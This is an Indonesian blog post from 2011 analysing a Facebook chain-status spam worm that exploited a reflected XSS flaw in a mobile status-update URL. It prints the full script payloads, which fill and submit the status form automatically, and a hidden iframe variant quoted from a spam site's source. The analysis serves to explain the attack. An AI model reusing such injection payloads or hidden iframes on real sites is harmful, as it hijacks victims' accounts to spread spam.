PartS LED . LCD

cari artikel disini

Jumat, 02 September 2011

Penyebaran Link Berantai Facebook

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.
Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D  http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D  http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
undefined
Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>
undefined
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="http://1.bp.blogspot.com/_D2J2A4A68T8/TH80zGbHcYI/AAAAAAAAAIw/RXaLXYldrWw/s320/Hacked.jpg"/>
undefined
Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>
undefined
Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D  http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
undefined
Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
undefined
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.
You might also like:

Tidak ada komentar:

Poskan Komentar

Terima kasih atas komentar anda salam sahabat!!! Rudi thea

Follow by Email

Next

Artikel yang mungkin belum Anda baca

Terbaru

Get this widget here

cartegori

Access 2013 (1) air terjun (2) AIWA AKARI AKIRA (1) alam indonesia (2) alat2 rumahtangga dan listrik (4) aneh tapi langka (1) aneh tapi nyata (3) animasi (4) Antariksa (3) artikel ku (1) artis indonesia (1) bagai mana cara mencari kerusakan tv (41) bagian prosesor luminance (Y) (3) BEBERAPA PERSAMAAN IC VERTIKAL (1) Bencana alam (6) Berita-tekhnologi (36) bertia sukabumi (3) bisnis (2) bisnis online (7) bmkg (1) book speker (1) brisat (2) bunga aneh (3) bus (1) cara buang virus ponsel (1) cara membuat gemuk (1) Cara mengganti nama blog (2) CARA MERAKIT SEMATIK TV (11) cara serpis dvd (18) cara service (12) cara service tv(elektronics) (166) cara servis monitor (10) cara setting lewat menu factory tv (13) CHINA BRAND (1) Crara Service Mode Tv (3) crt (3) CTV Polytron (6) daerah (3) dan fb (1) Dekorasi (enetrtainment) (4) digitec (2) DMX Mixer 192 (1) Dunia (1) dvb (2) DVD programming (14) Excel 2013 (1) facebook internet (15) facebook timeline (1) feedback destroyer (2) gacun (1) garis besar bagian lemari es (1) garis besar mesin tv (7) garits video gratis audio (9) GOLDSTAR HITACHI JVC LG (3) gratis dwnload (2) html (5) IC (1) imelda (1) intel (1) internasional (8) internet mobile (10) inverter (1) jabar (55) jalan raya (1) jejaring sosial (1) kata kata ucapan selamat tidur yang romantis (3) kata mutiara (1) kecelakaan (12) kerusakan haredware komputer (43) kerusakan lcd monitor (3) KERUSAKAN software TV (8) kerusan tv dan penyebab nya (48) kilas berita (147) kode ponsel (1) kode remote. (3) kode servis (4) KODE TV (2) koneksi internet (32) lampu neon (2) LED Par (1) link ku (1) macam macam kerusakan tv (23) manca negara (2) manfaat tumbuhan buat kesehatan (12) MENGENAL MENGUKUR KOMPONEN ELEKTRONIKA DASAR (19) menurut penalaman (2) mesum (2) mic wirles (1) Microsoft Office (1) minimax (4) mixser (1) modem (1) MODIPIKASI TV (8) nasional (82) olah raga (1) OneNote 2013 (1) OPTION SETTING tv tcl (1) otomotip (1) Outlook 2013 (1) panasonic (1) PANASONIC POLYTRON (1) Pasang Sendiri Parabola (2) pbt (1) pemancar (2) PERKEMBANGAN ELEKTRONIC (4) persamaan ic (3) PERSAMAAN TR HORIZONTAL (1) photo bugil (1) photo edit (2) pla (1) plash message teks berjalan (1) Playstation (1) plyback (2) politik (1) polytron (10) polytron data servis (5) polytron u slim gambar melengkung. (5) poto (6) poto artis sexi (4) poto sexi (3) power (15) power splay (6) PowerPoint 2013 (1) Project 2013 (1) Publisher 2013 (1) rangkain inverter (3) raster gelap (1) remot control (2) remot tv (2) REMOT UNIVERSAL (1) resistor (3) sains (1) SAMSUNG SANYO (1) satelit (2) satelit Rusia Techno (2) seputar entertainment (10) serba gratis.cari yg gratis. video baru. mp3.pemutar mp3. mp3 gratis. (13) Service Menu Philips (1) Service Mode LCD Monitor (2) servis lcd monitor (3) SERVIS MODE (10) sharp (2) SHARP SONY TCL (1) siaran tv analog (2) siaran tv digital (2) skema (3) sms gratis (2) software gratis (3) sound system (15) STB DVB-T2 (1) stelit (1) subwoper (1) Sukabumi (10) susnan perangkat audio di lapangan (1) tan (1) tanaman aneh (3) tcl (4) televisi dan keluarga (7) telkomsel (1) tempat wisata alam (7) Tips Blog/webssite (51) Tips Blog/webssite/html (34) Tips pertanian (6) tips software komputer (57) tips trik elektronic (27) tips trik facebook (10) tips trik komputer (44) TOSHIBA (1) tours (1) trafo (1) transtistor (5) trapo (5) tutorial blog (7) tv china (14) tv komputer (4) tv lg (3) TV MENU SERVIS KODE (15) TV SHARP Protec (2) tv tcl (1) twetter (1) ucapan hari raya idul fitri (3) ucapan selamat (4) ucapan selamat hari ibu (1) ucapan selamat hari raya idul adha (1) ucapan selamat tidur buat pacar (2) ucapan selamat tidur untuk kekasih (3) ucapan tahun baru (1) ulang tahun (1) universal (1) video porno (1) Visio 2013 (1) Widget Check Berat Blog (2) Windows 8 (11) Wisata Baharia (3) wisata sukabumi (2) wisaya sukabumi (1) Word 2013 (1)

Entri Populer